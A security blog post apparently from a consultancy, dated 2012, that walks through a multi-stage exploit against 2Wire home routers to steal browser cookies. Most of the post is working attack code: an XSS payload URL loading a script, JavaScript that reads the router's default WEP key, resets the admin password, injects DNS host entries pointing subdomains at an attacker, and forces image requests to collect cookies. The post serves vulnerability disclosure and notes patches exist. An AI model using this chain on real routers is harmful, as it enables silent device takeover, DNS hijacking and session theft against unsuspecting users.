Skip to main content
Blog May 30, 2012

Cookie Stealing By Router Pharming (2Wire)

A multi-stage exploit that chains cross-site scripting, an information-disclosure magic URL, and a default-WEP password reset on 2Wire routers to poison DNS and harvest cookies from nearly any domain the victim visits.

Share this article:
Cookie Stealing By Router Pharming (2Wire)

It is well known that SOHO routers are commonly vulnerable. In this post I will demonstrate how a series of vulnerabilities in 2Wire routers, when exploited sequentially may allow us to get cookies of almost any domain in scope.

The attack process would be as follows:

1. The victim visits a malicious page,

2. The web page performs router pharming redirecting subdomains to the attackers servers,

3. The web page forces the victim to perform requests to the subdomains,

4. The attacker receives the cookies on his server.

We use unexisting subdomains for two reasons. When using a subdomain, the browser does not have the IP in its cache, so no refreshing is necessary. And the second reason is that in case of any error the communication with the server is not lost.

2Wire routers have had many vulnerabilities published in the last few years. To perform this attack we will focus on the following:

1. Cross site scripting

2. Information disclosure (“magic url”)

3. Resetting the password with the default WEP

Some 2Wire routers have a Cross Site Scripting vulnerability on the variable THISPAGE of their web interface:

http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>

Exploiting this vulnerability can get us in the same zone as the router and we can get access to its properties such as the source code of the pages of the router.

We include a script that allows us to read the source of another page in the router that is the information disclosure page, where we can find the default WEP key:

cfgpwn.js:

try {

    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");

} catch(e) {

    xmlhttp = new XMLHttpRequest()

}

xmlhttp.open("GET","/xslt?page=mgmt_data",false);

xmlhttp.send(null);

var info = xmlhttp.responseText;

var pass = "temporal";

var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);

Using this WEP key we can define a new admin password this way:

xmlhttp.open("POST","/xslt");

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);

Now that we have defined a new password we can get the admin's cookie:

xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);

xmlhttp.send(null);

As administrators we can add domains to the host list:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);

    xmlhttp.send(null);

}

We force the victim to perform requests to the subdomains so we can get the cookies:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

    document.write('<img src=http://'+dns+'>');

}

This complete attack can be automated and performed hidden from the user. In the following video you can see the attack on a visible way:

We must understand that 2Wire has issued patches for all of this vulnerabilities. But sometimes is not up to them to patch the devices, the ISP has to do it.

Subscribe to our Newsletter

Get the latest cybersecurity insights and updates delivered to your inbox.

Related Articles

Discover more cybersecurity insights and solutions to help strengthen your organization's security posture

A Comparison Between the Real User ID and the Effective User ID is not Enough to Prevent Privilege Escalation
Blog October 3, 2023

A Comparison Between the Real User ID and the Effective User ID is not Enough to Prevent Privilege Escalation

In Unix-like systems, processes have a real and effective user ID determining their access permissions. While usually identical, they can differ in situations like when the setuid bit is activated in executables.

Websec DevSecOps Webinar
Blog August 29, 2022

Websec DevSecOps Webinar

Roberto Salgado and Kobalt.io's Miki Fukushima are hosting a free webinar on September 20, 2022 covering why application security matters, the shift to developer-first security, and a practical roadmap for embedding security into DevSecOps.

CVE-2022-21404: Another story of developers fixing vulnerabilities unknowingly because of CodeQL
Blog May 19, 2022

CVE-2022-21404: Another story of developers fixing vulnerabilities unknowingly because of CodeQL

How CodeQL may help reduce false negatives within Open-Source projects. Taking a look into a deserialization vulnerability within Oracle Helidon (CVE-2022-21404).